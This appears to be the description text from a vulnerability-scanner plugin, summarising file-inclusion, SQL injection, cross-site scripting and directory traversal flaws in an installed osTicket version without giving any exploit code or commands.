"The version of osTicket installed on the remote host suffers from
several vulnerabilities :

  - A Remote File Include Vulnerability
    The script 'include/main.php' lets an attacker read 
    arbitrary files on the remote host and possibly even run
    arbitrary PHP code, subject to the privileges of the web
    server user.

  - Two SQL Injection Vulnerabilities
    An authenticated attacker can affect SQL queries through 
    the 'id' parameter of the 'admin.php' script as well as 
    the 'cat' parameter of the 'view.php' script.

  - Multiple Cross-Site Scripting Vulnerabilities
    osTicket does not properly sanitize user-supplied input
    in several scripts, which could facilitate the theft of
    cookie-based authentication credentials within the
    context of the affected website.

  - A Directory Traversal Vulnerability
    The 'attachments.php' script may let an authenticated 
    attacker read arbitrary files on the remote, subject to 
    the privileges of the server user. This occurs only if 
    attachment uploads have been specifically enabled by the
    administrator." );
